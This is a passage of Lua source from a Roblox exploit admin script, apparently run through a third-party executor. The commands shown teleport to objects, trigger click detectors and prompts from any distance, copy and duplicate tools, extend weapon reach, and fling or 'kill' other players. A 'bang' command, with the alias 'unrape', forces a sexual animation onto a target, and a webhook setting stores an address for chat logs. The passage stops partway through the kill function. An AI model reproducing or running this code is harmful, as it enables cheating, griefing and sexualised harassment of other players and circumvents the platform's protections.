getRoot(speaker.Character).CFrame = otherRoot.CFrame * bangOffet end) end) end end end) addcmd("unbang", {"unrape"}, function(args, speaker) if bangDied then bangDied:Disconnect() bang:Stop() bangAnim:Destroy() bangLoop:Disconnect() end end) addcmd('carpet',{},function(args, speaker) if not r15(speaker) then execCmd('uncarpet') wait() local players = getPlayer(args[1], speaker) for i,v in pairs(players)do carpetAnim = Instance.new("Animation") carpetAnim.AnimationId = "rbxassetid://282574440" carpet = speaker.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(carpetAnim) carpet:Play(.1, 1, 1) local carpetplr = Players[v].Name carpetDied = speaker.Character:FindFirstChildOfClass'Humanoid'.Died:Connect(function() carpetLoop:Disconnect() carpet:Stop() carpetAnim:Destroy() carpetDied:Disconnect() end) carpetLoop = RunService.Heartbeat:Connect(function() pcall(function() getRoot(Players.LocalPlayer.Character).CFrame = getRoot(Players[carpetplr].Character).CFrame end) end) end else notify('R6 Required','This command requires the r6 rig type') end end) addcmd('uncarpet',{'nocarpet'},function(args, speaker) if carpetLoop then carpetLoop:Disconnect() carpetDied:Disconnect() carpet:Stop() carpetAnim:Destroy() end end) addcmd('friend',{},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do speaker:RequestFriendship(Players[v]) end end) addcmd('unfriend',{},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do speaker:RevokeFriendship(Players[v]) end end) addcmd('bringpart',{},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then v.CFrame = getRoot(speaker.Character).CFrame end end end) addcmd('bringpartclass',{'bpc'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v.ClassName:lower() == getstring(1):lower() and v:IsA("BasePart") then v.CFrame = getRoot(speaker.Character).CFrame end end end) gotopartDelay = 0.1 addcmd('gotopart',{'topart'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end wait(gotopartDelay) getRoot(speaker.Character).CFrame = v.CFrame end end end) addcmd('tweengotopart',{'tgotopart','ttopart'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end wait(gotopartDelay) TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = v.CFrame}):Play() end end end) addcmd('gotopartclass',{'gpc'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v.ClassName:lower() == getstring(1):lower() and v:IsA("BasePart") then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end wait(gotopartDelay) getRoot(speaker.Character).CFrame = v.CFrame end end end) addcmd('tweengotopartclass',{'tgpc'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v.ClassName:lower() == getstring(1):lower() and v:IsA("BasePart") then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end wait(gotopartDelay) TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = v.CFrame}):Play() end end end) addcmd('gotomodel',{'tomodel'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v.Name:lower() == getstring(1):lower() and v:IsA("Model") then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end wait(gotopartDelay) getRoot(speaker.Character).CFrame = v:GetModelCFrame() end end end) addcmd('tweengotomodel',{'tgotomodel','ttomodel'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v.Name:lower() == getstring(1):lower() and v:IsA("Model") then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end wait(gotopartDelay) TweenService:Create(getRoot(speaker.Character), TweenInfo.new(tweenSpeed, Enum.EasingStyle.Linear), {CFrame = v:GetModelCFrame()}):Play() end end end) addcmd('gotopartdelay',{},function(args, speaker) local gtpDelay = args[1] or 0.1 if isNumber(gtpDelay) then gotopartDelay = gtpDelay end end) addcmd('noclickdetectorlimits',{'nocdlimits','removecdlimits'},function(args, speaker) for i,v in ipairs(workspace:GetDescendants()) do if v:IsA("ClickDetector") then v.MaxActivationDistance = math.huge end end end) addcmd('fireclickdetectors',{'firecd','firecds'}, function(args, speaker) if fireclickdetector then if args[1] then local name = getstring(1) for _, descendant in ipairs(workspace:GetDescendants()) do if descendant:IsA("ClickDetector") and descendant.Name == name or descendant.Parent.Name == name then fireclickdetector(descendant) end end else for _, descendant in ipairs(workspace:GetDescendants()) do if descendant:IsA("ClickDetector") then fireclickdetector(descendant) end end end else notify("Incompatible Exploit", "Your exploit does not support this command (missing fireclickdetector)") end end) addcmd('noproximitypromptlimits',{'nopplimits','removepplimits'},function(args, speaker) for i,v in pairs(workspace:GetDescendants()) do if v:IsA("ProximityPrompt") then v.MaxActivationDistance = math.huge end end end) addcmd('fireproximityprompts',{'firepp'},function(args, speaker) if fireproximityprompt then if args[1] then local name = getstring(1) for _, descendant in ipairs(workspace:GetDescendants()) do if descendant:IsA("ProximityPrompt") and descendant.Name == name or descendant.Parent.Name == name then fireproximityprompt(descendant) end end else for _, descendant in ipairs(workspace:GetDescendants()) do if descendant:IsA("ProximityPrompt") then fireproximityprompt(descendant) end end end else notify("Incompatible Exploit", "Your exploit does not support this command (missing fireproximityprompt)") end end) local PromptButtonHoldBegan = nil addcmd('instantproximityprompts',{'instantpp'},function(args, speaker) if fireproximityprompt then execCmd("uninstantproximityprompts") wait(0.1) PromptButtonHoldBegan = ProximityPromptService.PromptButtonHoldBegan:Connect(function(prompt) fireproximityprompt(prompt) end) else notify('Incompatible Exploit','Your exploit does not support this command (missing fireproximityprompt)') end end) addcmd('uninstantproximityprompts',{'uninstantpp'},function(args, speaker) if PromptButtonHoldBegan ~= nil then PromptButtonHoldBegan:Disconnect() PromptButtonHoldBegan = nil end end) addcmd('notifyping',{'ping'},function(args, speaker) notify("Ping", math.round(speaker:GetNetworkPing() * 1000) .. "ms") end) addcmd('grabtools', {}, function(args, speaker) local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid") for _, child in ipairs(workspace:GetChildren()) do if speaker.Character and child:IsA("BackpackItem") and child:FindFirstChild("Handle") then humanoid:EquipTool(child) end end if grabtoolsFunc then grabtoolsFunc:Disconnect() end grabtoolsFunc = workspace.ChildAdded:Connect(function(child) if speaker.Character and child:IsA("BackpackItem") and child:FindFirstChild("Handle") then humanoid:EquipTool(child) end end) notify("Grabtools", "Picking up any dropped tools") end) addcmd('nograbtools',{'ungrabtools'},function(args, speaker) if grabtoolsFunc then grabtoolsFunc:Disconnect() end notify("Grabtools", "Grabtools has been disabled") end) local specifictoolremoval = {} addcmd('removespecifictool',{},function(args, speaker) if args[1] and speaker:FindFirstChildOfClass("Backpack") then local tool = string.lower(getstring(1)) local RST = RunService.RenderStepped:Connect(function() if speaker:FindFirstChildOfClass("Backpack") then for i,v in pairs(speaker:FindFirstChildOfClass("Backpack"):GetChildren()) do if v.Name:lower() == tool then v:Remove() end end end end) specifictoolremoval[tool] = RST end end) addcmd('unremovespecifictool',{},function(args, speaker) if args[1] then local tool = string.lower(getstring(1)) if specifictoolremoval[tool] ~= nil then specifictoolremoval[tool]:Disconnect() specifictoolremoval[tool] = nil end end end) addcmd('clearremovespecifictool',{},function(args, speaker) for obj in pairs(specifictoolremoval) do specifictoolremoval[obj]:Disconnect() specifictoolremoval[obj] = nil end end) addcmd('light',{},function(args, speaker) local light = Instance.new("PointLight") light.Parent = getRoot(speaker.Character) light.Range = 30 if args[1] then light.Brightness = args[2] light.Range = args[1] else light.Brightness = 5 end end) addcmd('unlight',{'nolight'},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants()) do if v.ClassName == "PointLight" then v:Destroy() end end end) addcmd('copytools',{},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do task.spawn(function() for i,v in pairs(Players[v]:FindFirstChildOfClass("Backpack"):GetChildren()) do if v:IsA('Tool') or v:IsA('HopperBin') then v:Clone().Parent = speaker:FindFirstChildOfClass("Backpack") end end end) end end) addcmd('naked',{},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants()) do if v:IsA("Clothing") or v:IsA("ShirtGraphic") then v:Destroy() end end end) addcmd('noface',{'removeface'},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants()) do if v:IsA("Decal") and v.Name == 'face' then v:Destroy() end end end) addcmd('spawnpoint',{'spawn'},function(args, speaker) spawnpos = getRoot(speaker.Character).CFrame spawnpoint = true spDelay = tonumber(args[1]) or 0.1 notify('Spawn Point','Spawn point created at '..tostring(spawnpos)) end) addcmd('nospawnpoint',{'nospawn','removespawnpoint'},function(args, speaker) spawnpoint = false notify('Spawn Point','Removed spawn point') end) addcmd('flashback',{'diedtp'},function(args, speaker) if lastDeath ~= nil then if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false wait(.1) end getRoot(speaker.Character).CFrame = lastDeath end end) addcmd('hatspin',{'spinhats'},function(args, speaker) execCmd('unhatspin') wait(.5) for _,v in pairs(speaker.Character:FindFirstChildOfClass('Humanoid'):GetAccessories()) do local keep = Instance.new("BodyPosition") keep.Name = randomString() keep.Parent = v.Handle local spin = Instance.new("BodyAngularVelocity") spin.Name = randomString() spin.Parent = v.Handle v.Handle:FindFirstChildOfClass("Weld"):Destroy() if args[1] then spin.AngularVelocity = Vector3.new(0, args[1], 0) spin.MaxTorque = Vector3.new(0, args[1] * 2, 0) else spin.AngularVelocity = Vector3.new(0, 100, 0) spin.MaxTorque = Vector3.new(0, 200, 0) end keep.P = 30000 keep.D = 50 spinhats = RunService.Stepped:Connect(function() pcall(function() keep.Position = Players.LocalPlayer.Character.Head.Position end) end) end end) addcmd('unhatspin',{'unspinhats'},function(args, speaker) if spinhats then spinhats:Disconnect() end for _,v in pairs(speaker.Character:FindFirstChildOfClass('Humanoid'):GetAccessories()) do v.Parent = workspace for i,c in pairs(v.Handle) do if c:IsA("BodyPosition") or c:IsA("BodyAngularVelocity") then c:Destroy() end end wait() v.Parent = speaker.Character end end) addcmd('clearhats',{'cleanhats'},function(args, speaker) if firetouchinterest then local Player = Players.LocalPlayer local Character = Player.Character local Old = Character:FindFirstChild("HumanoidRootPart").CFrame local Hats = {} for _, child in ipairs(workspace:GetChildren()) do if child:IsA("Accessory") then table.insert(Hats, child) end end for _, accessory in ipairs(Character:FindFirstChildOfClass("Humanoid"):GetAccessories()) do accessory:Destroy() end for i = 1, #Hats do repeat RunService.Heartbeat:wait() until Hats[i] firetouchinterest(Hats[i].Handle,Character:FindFirstChild("HumanoidRootPart"),0) repeat RunService.Heartbeat:wait() until Character:FindFirstChildOfClass("Accessory") Character:FindFirstChildOfClass("Accessory"):Destroy() repeat RunService.Heartbeat:wait() until not Character:FindFirstChildOfClass("Accessory") end execCmd("reset") Player.CharacterAdded:Wait() for i = 1,20 do RunService.Heartbeat:Wait() if Player.Character:FindFirstChild("HumanoidRootPart") then Player.Character:FindFirstChild("HumanoidRootPart").CFrame = Old end end else notify("Incompatible Exploit","Your exploit does not support this command (missing firetouchinterest)") end end) addcmd('split',{},function(args, speaker) if r15(speaker) then speaker.Character.UpperTorso.Waist:Destroy() else notify('R15 Required','This command requires the r15 rig type') end end) addcmd('nilchar',{},function(args, speaker) if speaker.Character ~= nil then speaker.Character.Parent = nil end end) addcmd('unnilchar',{'nonilchar'},function(args, speaker) if speaker.Character ~= nil then speaker.Character.Parent = workspace end end) addcmd('noroot',{'removeroot','rroot'},function(args, speaker) if speaker.Character ~= nil then local char = Players.LocalPlayer.Character char.Parent = nil char.HumanoidRootPart:Destroy() char.Parent = workspace end end) addcmd('replaceroot',{'replacerootpart'},function(args, speaker) if speaker.Character ~= nil and speaker.Character:FindFirstChild("HumanoidRootPart") then local Char = speaker.Character local OldParent = Char.Parent local HRP = Char and Char:FindFirstChild("HumanoidRootPart") local OldPos = HRP.CFrame Char.Parent = game local HRP1 = HRP:Clone() HRP1.Parent = Char HRP = HRP:Destroy() HRP1.CFrame = OldPos Char.Parent = OldParent end end) addcmd('clearcharappearance',{'clearchar','clrchar'},function(args, speaker) speaker:ClearCharacterAppearance() end) addcmd('equiptools',{},function(args, speaker) for i,v in pairs(speaker:FindFirstChildOfClass("Backpack"):GetChildren()) do if v:IsA("Tool") or v:IsA("HopperBin") then v.Parent = speaker.Character end end end) addcmd('unequiptools',{},function(args, speaker) speaker.Character:FindFirstChildOfClass('Humanoid'):UnequipTools() end) local function GetHandleTools(p) p = p or Players.LocalPlayer local r = {} for _, v in ipairs(p.Character and p.Character:GetChildren() or {}) do if v.IsA(v, "BackpackItem") and v.FindFirstChild(v, "Handle") then r[#r + 1] = v end end for _, v in ipairs(p.Backpack:GetChildren()) do if v.IsA(v, "BackpackItem") and v.FindFirstChild(v, "Handle") then r[#r + 1] = v end end return r end addcmd('dupetools', {'clonetools'}, function(args, speaker) local LOOP_NUM = tonumber(args[1]) or 1 local OrigPos = speaker.Character.HumanoidRootPart.Position local Tools, TempPos = {}, Vector3.new(math.random(-2e5, 2e5), 2e5, math.random(-2e5, 2e5)) for i = 1, LOOP_NUM do local Human = speaker.Character:WaitForChild("Humanoid") wait(.1, Human.Parent:MoveTo(TempPos)) Human.RootPart.Anchored = speaker:ClearCharacterAppearance(wait(.1)) or true local t = GetHandleTools(speaker) while #t > 0 do for _, v in ipairs(t) do task.spawn(function() for _ = 1, 25 do v.Parent = speaker.Character v.Handle.Anchored = true end for _ = 1, 5 do v.Parent = workspace end table.insert(Tools, v.Handle) end) end t = GetHandleTools(speaker) end wait(.1) speaker.Character = speaker.Character:Destroy() speaker.CharacterAdded:Wait():WaitForChild("Humanoid").Parent:MoveTo(LOOP_NUM == i and OrigPos or TempPos, wait(.1)) if i == LOOP_NUM or i % 5 == 0 then local HRP = speaker.Character.HumanoidRootPart if type(firetouchinterest) == "function" then for _, v in ipairs(Tools) do v.Anchored = not firetouchinterest(v, HRP, 1, firetouchinterest(v, HRP, 0)) and false or false end else for _, v in ipairs(Tools) do task.spawn(function() local x = v.CanCollide v.CanCollide = false v.Anchored = false for _ = 1, 10 do v.CFrame = HRP.CFrame wait() end v.CanCollide = x end) end end wait(.1) Tools = {} end TempPos = TempPos + Vector3.new(10, math.random(-5, 5), 0) end end) local RS = RunService.RenderStepped addcmd('touchinterests', {'touchinterest', 'firetouchinterests', 'firetouchinterest'}, function(args, speaker) if not firetouchinterest then notify("Incompatible Exploit", "Your exploit does not support this command (missing firetouchinterest)") return end local root = getRoot(speaker.Character) or speaker.Character:FindFirstChildWhichIsA("BasePart") local function touch(x) x = x:FindFirstAncestorWhichIsA("Part") if x then if firetouchinterest then task.spawn(function() firetouchinterest(x, root, 1) wait() firetouchinterest(x, root, 0) end) end x.CFrame = root.CFrame end end if args[1] then local name = getstring(1) for _, descendant in ipairs(workspace:GetDescendants()) do if descendant:IsA("TouchTransmitter") and descendant.Name == name or descendant.Parent.Name == name then touch(descendant) end end else for _, descendant in ipairs(workspace:GetDescendants()) do if descendant:IsA("TouchTransmitter") then touch(descendant) end end end end) addcmd('fullbright',{'fb','fullbrightness'},function(args, speaker) Lighting.Brightness = 2 Lighting.ClockTime = 14 Lighting.FogEnd = 100000 Lighting.GlobalShadows = false Lighting.OutdoorAmbient = Color3.fromRGB(128, 128, 128) end) addcmd('loopfullbright',{'loopfb'},function(args, speaker) if brightLoop then brightLoop:Disconnect() end local function brightFunc() Lighting.Brightness = 2 Lighting.ClockTime = 14 Lighting.FogEnd = 100000 Lighting.GlobalShadows = false Lighting.OutdoorAmbient = Color3.fromRGB(128, 128, 128) end brightLoop = RunService.RenderStepped:Connect(brightFunc) end) addcmd('unloopfullbright',{'unloopfb'},function(args, speaker) if brightLoop then brightLoop:Disconnect() end end) addcmd('ambient',{},function(args, speaker) Lighting.Ambient = Color3.new(args[1],args[2],args[3]) Lighting.OutdoorAmbient = Color3.new(args[1],args[2],args[3]) end) addcmd('day',{},function(args, speaker) Lighting.ClockTime = 14 end) addcmd('night',{},function(args, speaker) Lighting.ClockTime = 0 end) addcmd('nofog',{},function(args, speaker) Lighting.FogEnd = 100000 for i,v in pairs(Lighting:GetDescendants()) do if v:IsA("Atmosphere") then v:Destroy() end end end) addcmd('brightness',{},function(args, speaker) Lighting.Brightness = args[1] end) addcmd('globalshadows',{'gshadows'},function(args, speaker) Lighting.GlobalShadows = true end) addcmd('unglobalshadows',{'nogshadows','ungshadows','noglobalshadows'},function(args, speaker) Lighting.GlobalShadows = false end) origsettings = {abt = Lighting.Ambient, oabt = Lighting.OutdoorAmbient, brt = Lighting.Brightness, time = Lighting.ClockTime, fe = Lighting.FogEnd, fs = Lighting.FogStart, gs = Lighting.GlobalShadows} addcmd('restorelighting',{'rlighting'},function(args, speaker) Lighting.Ambient = origsettings.abt Lighting.OutdoorAmbient = origsettings.oabt Lighting.Brightness = origsettings.brt Lighting.ClockTime = origsettings.time Lighting.FogEnd = origsettings.fe Lighting.FogStart = origsettings.fs Lighting.GlobalShadows = origsettings.gs end) addcmd('stun',{'platformstand'},function(args, speaker) speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true end) addcmd('unstun',{'nostun','unplatformstand','noplatformstand'},function(args, speaker) speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false end) addcmd('norotate',{'noautorotate'},function(args, speaker) speaker.Character:FindFirstChildOfClass('Humanoid').AutoRotate = false end) addcmd('unnorotate',{'autorotate'},function(args, speaker) speaker.Character:FindFirstChildOfClass('Humanoid').AutoRotate = true end) addcmd('enablestate',{},function(args, speaker) local x = args[1] if not tonumber(x) then local x = Enum.HumanoidStateType[args[1]] end speaker.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(x, true) end) addcmd('disablestate',{},function(args, speaker) local x = args[1] if not tonumber(x) then local x = Enum.HumanoidStateType[args[1]] end speaker.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(x, false) end) addcmd('drophats',{'drophat'},function(args, speaker) if speaker.Character then for _,v in pairs(speaker.Character:FindFirstChildOfClass('Humanoid'):GetAccessories()) do v.Parent = workspace end end end) addcmd('deletehats',{'nohats','rhats'},function(args, speaker) for i,v in next, speaker.Character:GetDescendants() do if v:IsA("Accessory") then for i,p in next, v:GetDescendants() do if p:IsA("Weld") then p:Destroy() end end end end end) addcmd('droptools',{'droptool'},function(args, speaker) for i,v in pairs(Players.LocalPlayer.Backpack:GetChildren()) do if v:IsA("Tool") then v.Parent = Players.LocalPlayer.Character end end wait() for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do if v:IsA("Tool") then v.Parent = workspace end end end) addcmd('droppabletools',{},function(args, speaker) if speaker.Character then for _,obj in pairs(speaker.Character:GetChildren()) do if obj:IsA("Tool") then obj.CanBeDropped = true end end end if speaker:FindFirstChildOfClass("Backpack") then for _,obj in pairs(speaker:FindFirstChildOfClass("Backpack"):GetChildren()) do if obj:IsA("Tool") then obj.CanBeDropped = true end end end end) local currentToolSize = "" local currentGripPos = "" addcmd('reach',{},function(args, speaker) execCmd('unreach') wait() for i,v in pairs(speaker.Character:GetDescendants()) do if v:IsA("Tool") then if args[1] then currentToolSize = v.Handle.Size currentGripPos = v.GripPos local a = Instance.new("SelectionBox") a.Name = "SelectionBoxCreated" a.Parent = v.Handle a.Adornee = v.Handle v.Handle.Massless = true v.Handle.Size = Vector3.new(0.5,0.5,args[1]) v.GripPos = Vector3.new(0,0,0) speaker.Character:FindFirstChildOfClass('Humanoid'):UnequipTools() else currentToolSize = v.Handle.Size currentGripPos = v.GripPos local a = Instance.new("SelectionBox") a.Name = "SelectionBoxCreated" a.Parent = v.Handle a.Adornee = v.Handle v.Handle.Massless = true v.Handle.Size = Vector3.new(0.5,0.5,60) v.GripPos = Vector3.new(0,0,0) speaker.Character:FindFirstChildOfClass('Humanoid'):UnequipTools() end end end end) addcmd("boxreach", {}, function(args, speaker) execCmd("unreach") wait() for i, v in pairs(speaker.Character:GetDescendants()) do if v:IsA("Tool") then local size = tonumber(args[1]) or 60 currentToolSize = v.Handle.Size currentGripPos = v.GripPos local a = Instance.new("SelectionBox") a.Name = "SelectionBoxCreated" a.Parent = v.Handle a.Adornee = v.Handle v.Handle.Massless = true v.Handle.Size = Vector3.new(size, size, size) v.GripPos = Vector3.new(0, 0, 0) speaker.Character:FindFirstChildOfClass("Humanoid"):UnequipTools() end end end) addcmd('unreach',{'noreach','unboxreach'},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants()) do if v:IsA("Tool") then v.Handle.Size = currentToolSize v.GripPos = currentGripPos v.Handle.SelectionBoxCreated:Destroy() end end end) addcmd('grippos',{},function(args, speaker) for i,v in pairs(speaker.Character:GetDescendants()) do if v:IsA("Tool") then v.Parent = speaker:FindFirstChildOfClass("Backpack") v.GripPos = Vector3.new(args[1],args[2],args[3]) v.Parent = speaker.Character end end end) addcmd('usetools', {}, function(args, speaker) local Backpack = speaker:FindFirstChildOfClass("Backpack") local amount = tonumber(args[1]) or 1 local delay_ = tonumber(args[2]) or false for _, v in ipairs(Backpack:GetChildren()) do v.Parent = speaker.Character task.spawn(function() for _ = 1, amount do v:Activate() if delay_ then wait(delay_) end end v.Parent = Backpack end) end end) addcmd('logs',{},function(args, speaker) logs:TweenPosition(UDim2.new(0, 0, 1, -265), "InOut", "Quart", 0.3, true, nil) end) addcmd('chatlogs',{'clogs'},function(args, speaker) join.Visible = false chat.Visible = true table.remove(shade3,table.find(shade3,selectChat)) table.remove(shade2,table.find(shade2,selectJoin)) table.insert(shade2,selectChat) table.insert(shade3,selectJoin) selectJoin.BackgroundColor3 = currentShade3 selectChat.BackgroundColor3 = currentShade2 logs:TweenPosition(UDim2.new(0, 0, 1, -265), "InOut", "Quart", 0.3, true, nil) end) addcmd('joinlogs',{'jlogs'},function(args, speaker) chat.Visible = false join.Visible = true table.remove(shade3,table.find(shade3,selectJoin)) table.remove(shade2,table.find(shade2,selectChat)) table.insert(shade2,selectJoin) table.insert(shade3,selectChat) selectChat.BackgroundColor3 = currentShade3 selectJoin.BackgroundColor3 = currentShade2 logs:TweenPosition(UDim2.new(0, 0, 1, -265), "InOut", "Quart", 0.3, true, nil) end) addcmd("chatlogswebhook", {"logswebhook"}, function(args, speaker) if httprequest then logsWebhook = args[1] or nil updatesaves() else notify("Incompatible Exploit", "Your exploit does not support this command (missing request)") end end) addcmd("antichatlogs", {"antichatlogger"}, function(args, speaker) if not isLegacyChat then return notify("antichatlogs", "Game needs the legacy chat") end local MessagePosted, _ = pcall(function() rawset(require(speaker:FindFirstChild("PlayerScripts"):FindFirstChild("ChatScript").ChatMain), "MessagePosted", { ["fire"] = function(msg) return msg end, ["wait"] = function() return end, ["connect"] = function() return end }) end) notify("antichatlogs", MessagePosted and "Enabled" or "Failed to enable antichatlogs") end) flinging = false addcmd('fling',{},function(args, speaker) flinging = false for _, child in pairs(speaker.Character:GetDescendants()) do if child:IsA("BasePart") then child.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5) end end execCmd('noclip') wait(.1) local bambam = Instance.new("BodyAngularVelocity") bambam.Name = randomString() bambam.Parent = getRoot(speaker.Character) bambam.AngularVelocity = Vector3.new(0,99999,0) bambam.MaxTorque = Vector3.new(0,math.huge,0) bambam.P = math.huge local Char = speaker.Character:GetChildren() for i, v in next, Char do if v:IsA("BasePart") then v.CanCollide = false v.Massless = true v.Velocity = Vector3.new(0, 0, 0) end end flinging = true local function flingDiedF() execCmd('unfling') end flingDied = speaker.Character:FindFirstChildOfClass('Humanoid').Died:Connect(flingDiedF) repeat bambam.AngularVelocity = Vector3.new(0,99999,0) wait(.2) bambam.AngularVelocity = Vector3.new(0,0,0) wait(.1) until flinging == false end) addcmd('unfling',{'nofling'},function(args, speaker) execCmd('clip') if flingDied then flingDied:Disconnect() end flinging = false wait(.1) local speakerChar = speaker.Character if not speakerChar or not getRoot(speakerChar) then return end for i,v in pairs(getRoot(speakerChar):GetChildren()) do if v.ClassName == 'BodyAngularVelocity' then v:Destroy() end end for _, child in pairs(speakerChar:GetDescendants()) do if child.ClassName == "Part" or child.ClassName == "MeshPart" then child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5) end end end) addcmd('togglefling',{},function(args, speaker) if flinging then execCmd('unfling') else execCmd('fling') end end) addcmd("flyfling", {}, function(args, speaker) execCmd("unvehiclefly\\unwalkfling") task.wait() vehicleflyspeed = tonumber(args[1]) or vehicleflyspeed execCmd("vehiclefly\\walkfling") end) addcmd("unflyfling", {}, function(args, speaker) execCmd("unvehiclefly\\unwalkfling\\breakvelocity") end) addcmd("toggleflyfling", {}, function(args, speaker) execCmd(flinging and "unflyfling" or "flyfling") end) walkflinging = false addcmd("walkfling", {}, function(args, speaker) execCmd("unwalkfling") local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid") if humanoid then humanoid.Died:Connect(function() execCmd("unwalkfling") end) end execCmd("noclip nonotify") walkflinging = true repeat RunService.Heartbeat:Wait() local character = speaker.Character local root = getRoot(character) local vel, movel = nil, 0.1 while not (character and character.Parent and root and root.Parent) do RunService.Heartbeat:Wait() character = speaker.Character root = getRoot(character) end vel = root.Velocity root.Velocity = vel * 10000 + Vector3.new(0, 10000, 0) RunService.RenderStepped:Wait() if character and character.Parent and root and root.Parent then root.Velocity = vel end RunService.Stepped:Wait() if character and character.Parent and root and root.Parent then root.Velocity = vel + Vector3.new(0, movel, 0) movel = movel * -1 end until walkflinging == false end) addcmd("unwalkfling", {"nowalkfling"}, function(args, speaker) walkflinging = false execCmd("unnoclip nonotify") end) addcmd("togglewalkfling", {}, function(args, speaker) execCmd(walkflinging and "unwalkfling" or "walkfling") end) addcmd('invisfling',{},function(args, speaker) local ch = speaker.Character ch:FindFirstChildWhichIsA("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Dead, false) local prt=Instance.new("Model") prt.Parent = speaker.Character local z1 = Instance.new("Part") z1.Name="Torso" z1.CanCollide = false z1.Anchored = true local z2 = Instance.new("Part") z2.Name="Head" z2.Parent = prt z2.Anchored = true z2.CanCollide = false local z3 =Instance.new("Humanoid") z3.Name="Humanoid" z3.Parent = prt z1.Position = Vector3.new(0,9999,0) speaker.Character=prt wait(3) speaker.Character=ch wait(3) local Hum = Instance.new("Humanoid") z2:Clone() Hum.Parent = speaker.Character local root = getRoot(speaker.Character) for i,v in pairs(speaker.Character:GetChildren()) do if v ~= root and v.Name ~= "Humanoid" then v:Destroy() end end root.Transparency = 0 root.Color = Color3.new(1, 1, 1) local invisflingStepped invisflingStepped = RunService.Stepped:Connect(function() if speaker.Character and getRoot(speaker.Character) then getRoot(speaker.Character).CanCollide = false else invisflingStepped:Disconnect() end end) sFLY() workspace.CurrentCamera.CameraSubject = root local bambam = Instance.new("BodyThrust") bambam.Parent = getRoot(speaker.Character) bambam.Force = Vector3.new(99999,99999*10,99999) bambam.Location = getRoot(speaker.Character).Position end) addcmd("antifling", {}, function(args, speaker) if antifling then antifling:Disconnect() antifling = nil end antifling = RunService.Stepped:Connect(function() for _, player in pairs(Players:GetPlayers()) do if player ~= speaker and player.Character then for _, v in pairs(player.Character:GetDescendants()) do if v:IsA("BasePart") then v.CanCollide = false end end end end end) end) addcmd("unantifling", {}, function(args, speaker) if antifling then antifling:Disconnect() antifling = nil end end) addcmd("toggleantifling", {}, function(args, speaker) execCmd(antifling and "unantifling" or "antifling") end) function attach(speaker,target) if tools(speaker) then local char = speaker.Character local tchar = target.Character local hum = speaker.Character:FindFirstChildOfClass("Humanoid") local hrp = getRoot(speaker.Character) local hrp2 = getRoot(target.Character) hum.Name = "1" local newHum = hum:Clone() newHum.Parent = char newHum.Name = "Humanoid" wait() hum:Destroy() workspace.CurrentCamera.CameraSubject = char newHum.DisplayDistanceType = "None" local tool = speaker:FindFirstChildOfClass("Backpack"):FindFirstChildOfClass("Tool") or speaker.Character:FindFirstChildOfClass("Tool") tool.Parent = char hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-100, 100)/200,math.random(-100, 100)/200,math.random(-100, 100)/200) local n = 0 repeat wait(.1) n = n + 1 hrp.CFrame = hrp2.CFrame until (tool.Parent ~= char or not hrp or not hrp2 or not hrp.Parent or not hrp2.Parent or n > 250) and n > 2 else notify('Tool Required','You need to have an item in your inventory to use this command') end end function kill(speaker,target,fast) if tools(speaker) then if target ~= nil then local NormPos = getRoot(speaker.Character).CFrame if not fast then refresh(speaker) wait() repeat wait() until speaker.Character ~= nil and getRoot(speaker.Character) wait(0.3) end local hrp = getRoot(speaker.Character) attach(speaker,target) repeat wait() hrp.CFrame = CFrame.new(999999, workspace.FallenPartsDestroyHeight + 5,999999) until not getRoot(target.Character) or not getRoot(speaker.Character) 